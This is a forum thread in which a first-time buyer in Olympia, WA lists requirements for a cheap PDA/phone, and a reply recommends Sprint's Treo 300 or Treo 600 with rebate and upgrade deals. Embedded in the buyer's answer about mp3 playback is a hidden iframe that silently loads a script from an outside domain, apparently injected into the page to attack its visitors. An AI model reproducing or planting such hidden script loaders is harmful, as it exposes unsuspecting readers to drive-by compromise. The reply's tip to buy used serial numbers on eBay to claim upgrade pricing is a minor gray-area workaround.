I'm looking for a pda/phone that will be my only phone/internet access for awhile. Cost is a serious consideration. Over 300 is pretty much out of my cost range.

1. What PDA and/or mobile phone do I use today?

Never owned a cell phone or pda but I need both.

2. Are locked into a mobile carrier (i.e. Verizon Wireless, Sprint PCS, etc.), or do you prefer a particular carrier? Do you know if one carrier has better coverage in places that you need to be?

No

3. Where are you based? Do you stay in one place or travel a lot? Do you travel internationally... how much and where? Do you intend to use your pdaPhone there?

Olympia WA

4. Do have a preference of Palm, Pocket PC, Symbian, etc.?

Not much Experience, no preference.

5. Are you likely to run it the way it came out of the box, or do you intend to load a whole lot of extra applications and stuff on it? Do you know of anything now that you will need to run?

I tend to tweak and add a lot.

6. How important is data, and what would you use data for (i.e. web, email, remote terminal, etc.)?

It will be my main source of email and internet for a couple months and then just email, maps, and notes.

7. Do you do SMS messaging a lot?

No, but once again haven't had the chance.

8. Do you need a GPS for mapping and navigation?

Would be nice but not neccesary.

9. What is your size preference.. very close to the smallest cellphone, or you don’t care.. function over size?

Function over size.

10. How will you carry it... pocket, belt, purse, etc.?

Pocket preferably but belt is fine.

11. Do you prefer a particular form factor… flip-phone, candy bar, etc?

no preference

12. Do you prefer a QWERTY keyboard, or are you cool with a stylus?

preferably a thumbboard if not the ability to add an external keyboard is important.

13. Do you want to play a lot of games? What kinds?

Sure but also not important

14. Do you want to listen to music? What kind... mp3, streamed, etc.?

I'm looking for something that has a card slot and plays mp3's.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Think about the below until someone with greater depth than I responds to your requirements.

Since the device will be your sole source for internet you will want a carrier with decent speed and at this time, Sprint currently has the fastest data speeds. From what I can tell, the Treo 300 may fit your requirements, including the price requirement (after $150 rebate for new line of service). Unfortunately you will need to read the 300 forum to determine if its faults are ones you can live with. All phones AND carriers have faults, it is just a matter of what you are willing to live with.

The treo 300 is $399.99 with a $150 instant rebate for a new line which brings it down to $249.99. One question I would want answered is whether you can use it as a modem with your laptop and any associated cost. Generally Sprint frowns on using their phones as wireless modems but I am not sure about PDA/phones since they have full browser capability. This unit is readily available.

I would also suggest the Treo 600 but you have to act before the end of Wednesday I believe. Handspring has a special until then where you can get a new Treo 600 at an upgrade price of $399.99 (you can buy a Treo s/n for upgrading on ebay for as low as 2.50). couple that with the $150 instant rebate from Sprint and whola you have a $600 state of the art pda/phone for $250.00. I am sure you would be happy with the T600 but am unsure if you are ready to act that fast. Check out www.handspring.com for details of upgrade program. Search these forums for S/N availability. The downside to this is you will probably have to wait 2-4 weeks to get your device from Handspring due to the popularity of the model.

Of the two above units, go for the Treo 600 and go for it fast!

Also, in researching Sprint, ask around in your neighborhood for others that use Sprint. Be sure to inquire about signal reliability. It does no good to have fast internet if you don't have a signal

Haven't talked much about voice so I will leave you with suggesting an assessment of your voice needs... how many minutes you will need. This will help you set your expectations for your monthly 'note'

Hopefully this will get you started.